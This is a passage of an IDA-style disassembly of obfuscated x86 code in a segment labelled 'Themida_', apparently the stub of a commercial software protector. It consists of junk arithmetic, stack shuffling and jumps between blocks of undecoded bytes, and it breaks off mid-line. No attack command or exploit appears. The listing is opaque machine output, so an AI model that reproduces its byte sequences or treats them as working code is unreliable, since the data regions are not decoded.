loc_54DDA2:				; CODE XREF: Themida_:0054DAF7j
		mov	esi, 180257F9h
		sub	esi, 0C87AED99h
		xor	ecx, esi
		pop	esi
		dec	ecx
		shl	ecx, 3
		push	edi
		mov	edi, 0A906EDEDh
		sub	ecx, edi
		pop	edi
		mov	ebp, ecx
		pop	ecx
		jmp	loc_54D87D
; ---------------------------------------------------------------------------
		db 29h,	0F5h, 0E9h
		dd 6C54h, 0E904E883h, 0FFFF7455h, 0F78071B7h, 3EFC0CAh
		dd 0FFB6F7E9h, 0E9815DFFh, 177E5C8Bh, 0FAC2E953h, 1C89FFFFh
		dd 7F15BB24h, 0DF010488h, 81241C8Bh, 4C4h, 51DFF700h, 1A16FFB9h
		dd 6BBA527Dh, 31B52520h, 24148BD1h, 28A1E9h
		db 0
; ---------------------------------------------------------------------------

loc_54DE19:				; CODE XREF: Themida_:00545709j
		pop	edx
		xchg	eax, [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_54963B
; ---------------------------------------------------------------------------
		dw 0E968h
		dd 8900001Bh, 0E0892404h, 405h,	40500h,	4870000h, 0BDE95C24h
		dd 8100007Dh, 4C4h, 241C8B00h, 0FF4833E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DE51:				; CODE XREF: Themida_:00555095j
		mov	edx, 1654205Ch
		jmp	loc_554F6C
; ---------------------------------------------------------------------------

loc_54DE5B:				; CODE XREF: Themida_:0054F086j
		xor	ebx, edi
		xor	edi, ebx
		xor	ebx, edi
		xchg	esi, edi
		neg	esi
		xchg	esi, edi
		xchg	edi, ebx
		push	24B2h
		jmp	loc_54EA1A
; ---------------------------------------------------------------------------
		db 53h
		dd 0F8883EB7h, 0FF50E0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DE7D:				; CODE XREF: Themida_:0054903Fj
		shr	ecx, 5
		xor	ecx, 25193EEh
		jmp	loc_5517BA
; ---------------------------------------------------------------------------
		db 83h
		dd 5B6802C4h, 89000008h, 0E789243Ch, 4C781h, 0B9510000h
		dd 4, 0E959CF29h, 0FFFF7F70h, 83243C8Bh, 0E94204C4h, 3F96h
		dd 0E9E18951h, 1295h, 50D6EE81h, 0BB5304F7h, 74A477E1h
		dd 0E904E3C1h, 0FFFFC878h, 4C781h, 0C7830000h, 243C8704h
		dd 7C5E9h, 0E9D2F700h, 0FFFF88ECh, 0E9C0B60Fh, 0FFFF4F3Ch
; ---------------------------------------------------------------------------

loc_54DEF4:				; CODE XREF: Themida_:0054AA74j
		pop	esp
		jmp	loc_54EECD
; ---------------------------------------------------------------------------

loc_54DEFA:				; CODE XREF: Themida_:0054C2C2j
		mov	ch, 33h
		add	dh, ch
		pop	cx
		pop	ecx
		push	eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 30DB703Bh
		shr	ecx, 5
		jmp	loc_548666
; ---------------------------------------------------------------------------
		dw 3D34h
		dd 0BB0CE72Ch, 5352D8F6h, 0FA8878B7h, 1EA805Bh,	30E3C280h
		dd 0C1305AD0h, 5024048Bh, 0BB535854h, 4, 0E2E9D801h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DF3F:				; CODE XREF: Themida_:0054A77Ej
		add	eax, 10BA3238h
		push	edi
		push	edx
		mov	edx, 7D7E3F0Fh
		mov	edi, edx
		pop	edx
		inc	edi
		push	esi
		jmp	loc_55347E
; ---------------------------------------------------------------------------
		db 29h,	0D9h, 5Bh
		dd 6850D101h, 48DB5187h, 0D0B20558h, 0C1811E15h, 19645997h
		dd 0BB53C101h, 19645997h, 0AE6E9h
		db 0
; ---------------------------------------------------------------------------

loc_54DF79:				; CODE XREF: Themida_:00552B48j
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 3DC671Bh
		sub	esi, edx
		pop	edx
		push	ecx
		jmp	loc_546E54
; ---------------------------------------------------------------------------
		dw 835Eh
		dd 555104C4h, 14CBE9h
		db 0
; ---------------------------------------------------------------------------

loc_54DF99:				; CODE XREF: Themida_:00546204j
		pop	eax
		jmp	loc_5549B0
; ---------------------------------------------------------------------------

loc_54DF9F:				; CODE XREF: Themida_:0054B910j
		mov	[esp], edi
		push	ecx
		mov	ecx, 65FE3416h
		push	edi
		mov	edi, 454DD4DBh
		sub	ecx, edi
		pop	edi
		mov	edi, ecx
		pop	ecx
		sub	dword ptr [esp+4], 4F2B0A0Ch
		jmp	loc_54F775
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0DEh
		dd 0BB384C53h, 384C53DAh, 0FF9573E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DFD1:				; CODE XREF: Themida_:0055202Ej
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	4E63h
		jmp	loc_545CB5
; ---------------------------------------------------------------------------
		dw 0E942h
		dd 0FFFF74A6h, 13E76866h, 24148966h, 88FD8851h,	240C8BEAh
		dd 4C481h, 52660000h, 0F6241486h, 241486D2h, 24148B66h
		dd 81595451h, 4C1h, 2C18100h, 87000000h, 515C240Ch, 0BB53E189h
		dd 38BD2CD3h, 2DFDE9h, 48F5400h, 24048124h, 4, 83240C8Bh
		dd 0AFE904C4h, 56000013h, 0C4242C81h, 5F687551h, 51C4C781h
		dd 15E6875h, 0E9815FF9h, 4, 0FFA03BE9h,	24048FFFh, 4EC835Ch
		dd 0E9240C89h, 0FFFFEDAAh
; ---------------------------------------------------------------------------

loc_54E074:				; CODE XREF: Themida_:00552E73j
		shl	edx, 8
		jmp	loc_54A535
; ---------------------------------------------------------------------------

loc_54E07C:				; CODE XREF: Themida_:005473BDj
		add	esp, 4
		xor	ecx, 705A63D6h
		jmp	loc_542508
; ---------------------------------------------------------------------------
byte_54E08D	db 0ADh, 57h, 0BFh	; DATA XREF: Themida_:005419D0o
		dd 4C242281h, 55FF829h,	6DC21424h, 421D372Dh, 1A360556h
		dd 0D82903BEh, 0BE1A362Dh, 1D370503h, 0E9525642h, 48C4h
		dd 4C2815Bh, 52000000h,	42474FFh, 24048F5Ah, 4EC835Ch
		dd 54243C89h, 6E12E9h
		db 0
; ---------------------------------------------------------------------------

loc_54E0D5:				; CODE XREF: Themida_:0054F1E6j
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_544358
; ---------------------------------------------------------------------------
		db 81h
		dd 4819FC3h, 49E2E940h,	685D0000h, 0A1Ch, 55240C89h, 3E460E68h
		dd 0E5C15D49h, 66CD8107h, 813FB946h, 1A45E2CDh,	4EC8148h
		dd 89000000h, 5EB82404h, 0C12F545Ch, 0EDE906E8h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E127:				; CODE XREF: Themida_:00552F2Fj
		xor	edx, 3DA67AEEh
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		std
		sub	esp, 4
		mov	[esp], eax
		push	3DA17DD6h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		or	eax, 15076AFh
		neg	eax
		push	ecx
		mov	ecx, 3F87013h
		shr	ecx, 8
		jmp	loc_547C37
; ---------------------------------------------------------------------------
		db 81h
		dd 6020E2EEh, 5EF28969h, 0E95AD589h, 0FFFF4E65h
; ---------------------------------------------------------------------------

loc_54E174:				; CODE XREF: Themida_:00552EECj
		add	ebx, 1EBD7438h
		sub	ebx, 154F1176h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4E994026h
		add	ebx, ebp
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5491A4
; ---------------------------------------------------------------------------

loc_54E1A5:				; CODE XREF: Themida_:00555346j
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5447AD
; ---------------------------------------------------------------------------

loc_54E1B2:				; CODE XREF: Themida_:005522C4j
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	36013499h
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4DF7E9Bh
		shl	edi, 6
		xor	edi, 0F8FE7B24h
		add	edx, edi
		jmp	loc_550B7C
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0E48003ECh, 0C1C4802Ah, 30D4F480h, 24048BE7h, 4C481h
		dd 0F8300000h, 81241C8Bh, 4C4h,	4F8B6800h, 14890000h, 81E28924h
		dd 4C2h, 0E4E0E900h, 0EE29FFFFh, 81DE015Dh, 293B18C6h
		dd 2434FF21h, 64E9515Bh, 5EFFFF49h, 0FF652FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E22D:				; CODE XREF: Themida_:0054EC6Dj
		mov	ebx, 7448480Ah
		jmp	loc_54F9E8
; ---------------------------------------------------------------------------
		db 81h
		dd 0A91D3BCEh, 24456858h, 14890000h, 719BA24h, 0D6210609h
		dd 0F7DEF75Ah, 17EE81DEh, 1000905h, 1C335EF3h, 241C3124h
		dd 5C241C33h, 240C8B66h, 1FC7E9h, 0F6EA8600h, 86EA86D5h
		dd 34FF2414h, 0BB37E924h, 0C381FFFFh, 783F01D9h, 6D9EE9h
		dd 1BD5500h, 1000000h, 242C8BEEh, 4C481h, 684E0000h, 2E82h
		dd 0E9240489h, 0FFFF5EFFh, 55046850h, 8F540000h, 4BE92404h
		dd 5DFFFFD4h, 5A5EF529h, 0FF7E3CE9h, 4EC83FFh, 89241C89h
		dd 0B85057E3h, 4, 0A7E95350h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E2D7:				; CODE XREF: Themida_:00542036j
		pop	esi
		push	esi
		mov	esi, 59484362h
		push	ebx
		mov	ebx, 2A596BCFh
		or	esi, ebx
		pop	ebx
		sub	esi, 388A43ECh
		push	eax
		jmp	loc_55127C
; ---------------------------------------------------------------------------

loc_54E2F3:				; CODE XREF: Themida_:00544628j
		push	dword ptr [edi+1Ch]
		jmp	loc_55427F
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0F580D5F6h, 59EB88B9h, 0FF3CE0E9h, 0ED815EFFh, 1FBEE528h
		dd 9EE9E989h, 5BFFFF5Ch, 8B24048Fh, 0D4E92424h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E323:				; CODE XREF: Themida_:00544FACj
		mov	ebp, [esp]
		add	esp, 4
		shl	edx, 1
		inc	edx
		xor	edx, 0A6016C17h
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		shl	ecx, 6
		jmp	loc_54A1A0
; ---------------------------------------------------------------------------
		db 68h,	1Eh, 6Dh
		dd 0C890000h, 4B85024h,	89000000h, 0CA0158C1h, 24148759h
		dd 2D24248Bh, 66F5586Bh, 7C04E9h, 24048700h, 648CE95Ch
		dd 5B66FFFFh, 4EC81h, 14890000h, 0CB15124h, 0B9E2E950h
		dd 8F5BFFFFh, 0AFE92404h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E38F:				; CODE XREF: Themida_:00552077j
		not	dword ptr [esp]
		pop	edi
		xor	edi, 598175C8h
		jmp	loc_54F8CA
; ---------------------------------------------------------------------------
		dw 0DFF7h
		dd 0C107EFC1h, 0C78106E7h, 71B244Eh, 2686C781h,	0FD31B99Dh
		dd 5F2434FFh, 2655E9h
		db 0
; ---------------------------------------------------------------------------

loc_54E3BD:				; CODE XREF: Themida_:00547092j
		xchg	ecx, [esp]
		pop	ebp
		jmp	loc_54604C
; ---------------------------------------------------------------------------

loc_54E3C6:				; CODE XREF: Themida_:005464C4j
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54DD98
; ---------------------------------------------------------------------------
		db 0BFh
		dd 365433EEh, 0FF4573E9h, 241C89FFh, 0C00ACBBBh, 0E9DE014Ah
		dd 0FFFFE202h, 0F788E688h, 46B8E95Ah, 0D831FFFFh, 1E8FBB53h
		dd 0DBF72311h, 3235C381h, 0EC813DB6h, 4, 0FF3D87E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E41D:				; CODE XREF: Themida_:0054B1FDj
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	4DE0h
		mov	[esp], edx
		jmp	loc_542050
; ---------------------------------------------------------------------------

loc_54E43F:				; CODE XREF: Themida_:00556B38j
		push	esi
		pop	edx
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		and	eax, edx
		pop	edx
		jmp	loc_54FC43
; ---------------------------------------------------------------------------

loc_54E462:				; CODE XREF: Themida_:00549536j
		mov	ecx, esi
		pop	esi
		mov	eax, ecx
		pop	ecx
		push	edx
		mov	edx, 357F2189h
		add	edx, 70F24DDFh
		add	edx, 0B4F4A684h
		sub	eax, edx
		pop	edx
		jmp	loc_541EFB
; ---------------------------------------------------------------------------
		dw 0E801h
		dd 2DF8295Dh, 1A284265h, 0FFEC38E9h
		db 0FFh
byte_54E491	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005418C0o
		dd 5724048Bh, 8350E789h, 0C8904ECh, 3F89B924h, 0BF577CD0h
		dd 33881DD2h, 0F747DFF7h, 826EE9D7h, 0B60FFFFFh, 87048DC0h
		dd 2BFF68h, 24048900h, 0FF3656E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E4C9:				; CODE XREF: Themida_:00554787j
		mov	ebp, esi
		pop	esi
		and	ebp, 58A021A4h
		xor	ebp, 5A571E1Fh
		xor	edx, ebp
		push	dword ptr [esp]
		jmp	loc_552A0E
; ---------------------------------------------------------------------------

loc_54E4E2:				; CODE XREF: Themida_:005544C1j
		neg	ebp
		xor	ebp, 381546CBh
		sub	ebp, 63A193E0h
		add	ebx, ebp
		jmp	loc_54A25F
; ---------------------------------------------------------------------------
		db 0BFh
		dd 729753E2h, 0FF4B03E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E501:				; CODE XREF: Themida_:005565B3j
		pop	edi
		pop	edi
		sub	eax, 5ECE770Ah
		jmp	loc_54C3AC
; ---------------------------------------------------------------------------
byte_54E50D	db 66h,	68h, 88h	; DATA XREF: Themida_:0054191Co
		dd 66546611h, 8124048Fh, 2ECh, 34896600h, 0BB665324h, 0BE66095Dh
		dd 166F6A5h, 56665BDEh,	614CBE66h, 24448166h, 66582204h
		dd 4247401h, 0EC835566h, 241C8904h, 7706BB66h, 91C38166h
		dd 0B9665144h, 96E94AB6h, 68FFFFA2h, 3420h, 51242489h
		dd 4B9h, 244C0100h, 6872E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E572:				; CODE XREF: Themida_:0054D11Aj
		sub	eax, 0ADF04700h
		jmp	loc_55211C
; ---------------------------------------------------------------------------

loc_54E57C:				; CODE XREF: Themida_:0054B731j
		mov	ebx, 5B06CF9Ah
		sub	esi, ebx
		pop	ebx
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_5562D5
; ---------------------------------------------------------------------------
		dd 66C0C380h, 4EC8358h,	81241489h, 4ECh, 241C8900h, 0E951DCB7h
		dd 0FFFF49BBh, 0C5803EB5h, 66C500CDh, 5DD2E952h
		db 2 dup(0FFh)
word_54E5BE	dw 34FFh		; DATA XREF: Themida_:00541AB8o
		dd 240C8B24h, 4C481h, 0CC680000h, 89000007h, 1EE9240Ch
		db 6Dh,	2 dup(0FFh)
byte_54E5D7	db 66h			; DATA XREF: Themida_:00541A44o
		dd 40E932FFh, 81FFFF35h, 4ECh, 24348900h, 70E9E954h, 0E95C0000h
		dd 0FFFFCE45h
; ---------------------------------------------------------------------------

loc_54E5F4:				; CODE XREF: Themida_:005486D4j
		xor	edx, 78DE0FC3h
		add	edi, 349A430Dh
		sub	edi, edx
		sub	edi, 349A430Dh
		pop	edx
		jmp	loc_549E22
; ---------------------------------------------------------------------------
		dw 0F75Eh
		dd 0DAEE81DEh, 1D280A1h, 0BA525EF7h, 4,	875AD729h, 895C243Ch
		dd 74FF243Ch, 8F5F0424h, 96E92404h, 89000027h, 222AE9EAh
		dd 34FF0000h, 0C4815924h, 4, 0FF34D2E9h, 81E389FFh, 4C3h
		dd 5FE95000h, 29FFFFD2h, 59CE89F1h, 0FF8DA4E9h,	2B9FFh
		dd 0BD550000h, 27C36E2Dh, 6919E581h, 0F5817A12h, 6AAE3E6Eh
		dd 0F707E5C1h, 34C581DDh, 29C1BD5Bh, 0CA015DEAh, 27B4C281h
		dd 28E96B92h, 81FFFFF3h, 4C4h, 5032E900h, 48B0000h, 0C608E924h
		dd 515CFFFFh, 0A14861B9h, 64B1E978h, 0E8D0FFFFh, 0FFC7DDE9h
		dd 19A368FFh, 2C890000h, 53876824h, 0E95D7DD5h,	0FFFF7ADCh
		dd 5FEB805Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54B9C0
; ---------------------------------------------------------------------------

loc_54E6DC:				; CODE XREF: Themida_:00542065j
		mov	ecx, 4
		sub	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		not	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_549DD1
; ---------------------------------------------------------------------------
		dw 0F1BBh
		dd 1795614h, 0DE015BDEh, 14F1EE81h, 15B7956h, 5E042474h
		dd 4C2815Ah, 81000000h,	4C2h, 24143300h, 0FFDC37E9h, 240C8BFFh
		dd 2269E9h
		db 0
; ---------------------------------------------------------------------------

loc_54E729:				; CODE XREF: Themida_:00550784j
		pop	dword ptr [edi+40h]
		push	dword ptr [esp]
		jmp	loc_547E50
; ---------------------------------------------------------------------------
		dd 4EA814Ah, 1005DA9h, 0C6835AD6h, 24348702h, 0C024248Bh
		dd 1AE907E1h, 5FFFF76h,	700249E8h, 0E82DC829h, 0E9700249h
		dd 0FFFFDA8Fh
; ---------------------------------------------------------------------------

loc_54E760:				; CODE XREF: Themida_:00547601j
		sub	ecx, 476B1E3Fh
		add	ecx, ebp
		add	ecx, 476B1E3Fh
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_548975
; ---------------------------------------------------------------------------
		dw 1B8h
		dd 0E9000000h, 0FFFFA335h, 0E904EC83h, 1210h, 9183B12Dh
		dd 58C30194h, 0FF4B0DE9h, 6A0A0DFFh, 360D192Dh,	0E93E3F53h
		dd 0FFFF91DDh, 0FF21D9BDh, 246C8124h, 44AC104h,	246C0170h
		dd 0C39CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E7CA:				; CODE XREF: Themida_:0054ED63j
		xor	eax, 4B4B77A1h
		mov	ebp, eax
		pop	eax
		push	1FA8DFDCh
		pop	esi
		push	13A2h
		mov	[esp], edi
		jmp	loc_5471F5
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 4B8h, 0A6A7E900h, 5A54FFFFh,	77C568h, 241C8900h, 0FF8136E9h
		dd 5AD001FFh, 3122E9h
		db 0
byte_54E809	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00541944o
aHm		db '$hŒ]',0
		align 2
		dw 1489h
		dd 4EC8324h, 83242489h,	0E9042404h, 364Ch
; ---------------------------------------------------------------------------

loc_54E824:				; CODE XREF: Themida_:0054C715j
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	eax, 78AD43C9h
		push	1F4Dh
		mov	[esp], edi
		push	eax
		mov	eax, 7DE0164Fh
		inc	eax
		dec	eax
		add	eax, 0F0854050h
		mov	edi, eax
		pop	eax
		jmp	loc_54221A
; ---------------------------------------------------------------------------
		dd 315DE831h, 24048BC3h, 4C481h, 0BE560000h, 0E17E89AEh
		dd 315EF329h, 3B7AE9D9h, 0EB810000h, 3B566597h,	1CF7535Ah
		dd 0B8505B24h, 1D3B0995h, 0FFA970E9h, 243C33FFh, 0FF4437E9h
		dd 86CB81FFh, 687DB13Ah, 1743h,	0BE243489h, 62D5388Dh
		dd 0DEF7D6F7h, 0E6C1D6F7h, 0C6814608h, 0D5388EFFh, 0FFD479E9h
		dd 2EC81FFh, 66000000h,	0B0240489h, 66C62830h, 24B15158h
		dd 0E96BF180h, 0FFFF342Ch
; ---------------------------------------------------------------------------

loc_54E8CC:				; CODE XREF: Themida_:00544098j
		xor	eax, 72C5EC1h
		push	7E10h
		mov	[esp], ecx
		jmp	loc_54FD35
; ---------------------------------------------------------------------------

loc_54E8DE:				; CODE XREF: Themida_:0054F473j
		push	edi
		jmp	loc_54DC4D
; ---------------------------------------------------------------------------
dword_54E8E4	dd 5124048Bh, 0FF6FF2E9h, 0F38853FFh, 88DE8852h, 0D05FE9F0h
					; DATA XREF: Themida_:005418ECo
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E8FA:				; CODE XREF: Themida_:00546C7Fj
		mov	edx, ebp
		pop	ebp
		not	edx
		not	edx
		jmp	loc_545A8E
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 8324048Bh, 0EA8104C4h, 4D2AEC9Bh, 468DE9h, 4C48300h
		dd 6C2268h, 242C8900h, 1177BA52h, 0F2817094h, 1E33B35h
		dd 0FFAD39E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E935:				; CODE XREF: Themida_:00546E43j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54F7B6
; ---------------------------------------------------------------------------

loc_54E940:				; CODE XREF: Themida_:00551899j
		add	esp, 4
		xor	eax, esi
		pop	esi
		push	esi
		mov	esi, 731556C6h
		push	69D8h
		mov	[esp], ebp
		push	ecx
		push	18031E80h
		pop	ecx
		push	edi
		jmp	loc_54F019
; ---------------------------------------------------------------------------
		dd 24148B66h, 5E3EE9h, 9ABA5200h, 81026C40h, 8202E8CAh
		dd 0EBF28163h, 81109628h, 0F65C73E2h, 0C888E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E98A:				; CODE XREF: Themida_:00553EA6j
		xchg	edx, [esp]
		mov	esp, [esp]
		imul	cx, ax
		jmp	loc_54AFA2
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd offset dword_4368C0+129h
		dd 0EFED8100h, 685C8317h, 3C00h, 0BF243C89h, 3A677F2Ch
		dd 0FFE914E9h, 447368FFh, 1C890000h, 6EDBE924h,	0B850FFFFh
		dd 1ADC504Bh, 0FF4719E9h
		db 0FFh
byte_54E9D1	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00541A6Co
		dd 1858669Dh, 0E99C2404h, 0FFFF313Fh, 0F84CED68h, 0ED815D29h
		dd 0DE2C2DFBh, 2C8BE989h, 4C48324h, 0C7E9CB89h,	1FFFF59h
		dd 7C65E9EBh, 2A05FFFFh, 0E93C3976h, 6320h, 0FF243C89h
		dd 0F75F240Ch, 0A17BE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EA1A:				; CODE XREF: Themida_:0054DE6Ej
		mov	[esp], esi
		mov	esi, 79180311h
		push	ebp
		jmp	loc_5550D2
; ---------------------------------------------------------------------------
		dd 4C481h, 0C2810000h, 9F01840h, 73E9815Dh, 11CC443h, 73C181D1h
		dd 0E91CC443h, 141Bh
; ---------------------------------------------------------------------------

loc_54EA48:				; CODE XREF: Themida_:00541E69j
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_555684
; ---------------------------------------------------------------------------

loc_54EA53:				; CODE XREF: Themida_:0054B63Dj
		pop	ebx
		push	edx
		mov	edx, 24h
		jmp	loc_551D3F
; ---------------------------------------------------------------------------
		db 29h
		dd 0F2E95BD9h, 29FFFF5Eh, 7EED81F5h, 5E362D56h,	774DE9h
		dd 24048F00h, 182268h, 240C8900h, 8904EC83h, 4B82404h
		dd 89000000h, 20E958C1h, 81FFFFC0h, 4C6h, 3602E900h, 0A6B90000h
		dd 0D1574572h, 2E1C1E9h, 5D586849h, 1C890000h, 4212E924h
		dd 248BFFFFh, 7B1CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EABE:				; CODE XREF: Themida_:005470D5j
		pop	edx
		mov	edx, edi
		pop	edi
		jmp	loc_5440D3
; ---------------------------------------------------------------------------

loc_54EAC7:				; CODE XREF: Themida_:00548D85j
		mov	[esp], edx
		jmp	loc_546C72
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 3C8BFA29h, 0E7895724h, 0FF4941E9h, 3EAC1FFh
		dd 2F43BB53h, 0E6E919A9h, 81FFFFCDh, 0AA074EEEh, 44EE810Eh
		dd 81618F58h, 0D65D1AF6h, 0E9EED12Dh, 4380h
; ---------------------------------------------------------------------------

loc_54EB0C:				; CODE XREF: Themida_:0054BC2Dj
		sub	ebx, 43B76F48h
		jmp	loc_549BD7
; ---------------------------------------------------------------------------

loc_54EB17:				; CODE XREF: Themida_:00542F66j
		add	esp, 4
		push	ecx
		mov	ecx, 65D63E45h
		and	ecx, 5BFC26C4h
		not	ecx
		inc	ecx
		jmp	loc_54D4B5
; ---------------------------------------------------------------------------
		db 66h,	51h, 52h
		dd 0C68076B6h, 0F0E680A8h, 0D0DEEE80h, 76C680E6h, 0E95AF188h
		dd 377Dh, 6D155ABAh, 5AD6291Eh,	68h, 24342900h,	0FFFAADE9h
		dd 0F8285BFFh, 84E9CA2Ch, 5B000056h, 0FF5412E9h, 6698BBFFh
		dd 5953410Ch, 0B005E95Bh, 5B66FFFFh, 0F660E980h, 0C0C1FED1h
		dd 536603E1h, 7B0BE9h, 4BE5600h, 1000000h, 0C1835EF1h
		dd 2F2EE902h, 0E1890000h, 0FFAD8AE9h, 4C483FFh,	0E959CB29h
		dd 60C5h, 0CD7079BBh, 81DBF711h, 24AF4DC3h, 0DE89562Bh
		dd 5B5EF589h, 915C822Dh, 37FD2D34h, 0E8295746h,	7E13E9h
		dd 4C28300h, 5C241487h,	5C240487h, 0E99CC138h, 0FFFF2F33h
; ---------------------------------------------------------------------------

loc_54EBEC:				; CODE XREF: Themida_:0054B886j
		sub	ecx, ebp
		jmp	loc_542442
; ---------------------------------------------------------------------------
byte_54EBF3	db 66h			; DATA XREF: Themida_:005418ACo
		dd 81240C8Bh, 4ECh, 8312E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EC02:				; CODE XREF: Themida_:0055413Aj
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_54C8D5
; ---------------------------------------------------------------------------
		db 1
		dd 28BD55C1h, 810D520Bh, 4A5C74C1h, 64E98101h, 139CD6Fh
		dd 64C181E9h, 5239CD6Fh, 206B6BBAh, 0EAD14A48h,	227EEA81h
		dd 0EAC12DE8h, 6C36E903h
		db 2 dup(0)
word_54EC42	dw 248Bh		; DATA XREF: Themida_:0054193Co
		dd 2ED5E924h, 8158FFFFh, 0CFB127C7h, 8BF831F4h,	0ADE9243Ch
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54EC5B:				; CODE XREF: Themida_:00547EACj
		mov	[esp], ecx
		mov	ecx, 2C8308D1h
		add	ecx, 5D4F350Eh
		inc	ecx
		neg	ecx
		push	ebx
		jmp	loc_54E22D
; ---------------------------------------------------------------------------

loc_54EC72:				; CODE XREF: Themida_:0055279Ej
		shr	esi, 2
		jmp	loc_5542C8
; ---------------------------------------------------------------------------

loc_54EC7A:				; CODE XREF: Themida_:00544ADEj
		add	eax, 0DD47E0F8h
		add	edx, eax
		jmp	loc_548C9F
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 0E9387788h, 0FFFFB2F7h, 2561685Eh,	2C890000h
		dd 4EC8324h, 68243489h,	53E042EEh, 0FFAB04E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54ECAD:				; CODE XREF: Themida_:00546EEDj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_54C327
; ---------------------------------------------------------------------------

loc_54ECC1:				; CODE XREF: Themida_:0055460Ej
		add	edx, 4
		jmp	loc_544311
; ---------------------------------------------------------------------------
		dd 68241C89h, 56C3h, 0B9240C89h, 20AA41D7h, 2551E181h
		dd 72E91686h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54ECE7:				; CODE XREF: Themida_:00553260j
		pop	ebx
		jmp	loc_54636A
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 0FFFF3D30h
; ---------------------------------------------------------------------------

loc_54ECF8:				; CODE XREF: Themida_:005512CFj
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ecx
		mov	ch, al
		mov	dh, ch
		pop	ecx
		push	eax
		mov	al, dh
		jmp	loc_5487C5
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 5Ch
		db 0Ch,	2 dup(0)
byte_54ED1B	db 66h			; DATA XREF: Themida_:005419E0o
		dd 6824048Bh, 152Bh, 0E9242C89h, 5113h,	2AE95E54h, 68000069h
		dd 2A3Bh, 51240489h, 99714A68h,	1216E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54ED46:				; CODE XREF: Themida_:0054BB35j
		pop	esp
		push	717Fh
		mov	[esp], esi
		push	ebp
		push	eax
		push	49DC078Eh
		pop	eax
		and	eax, 5A874AA5h
		not	eax
		and	eax, 4CD71AAFh
		jmp	loc_54E7CA
; ---------------------------------------------------------------------------
		dd 0E95EF587h, 0FFFF938Dh, 6E67BE56h, 81564AC3h, 1FF32404h
		dd 0E959601Ch, 417Ch, 2434895Ch, 22B2E9h, 24048B00h, 2D04C483h
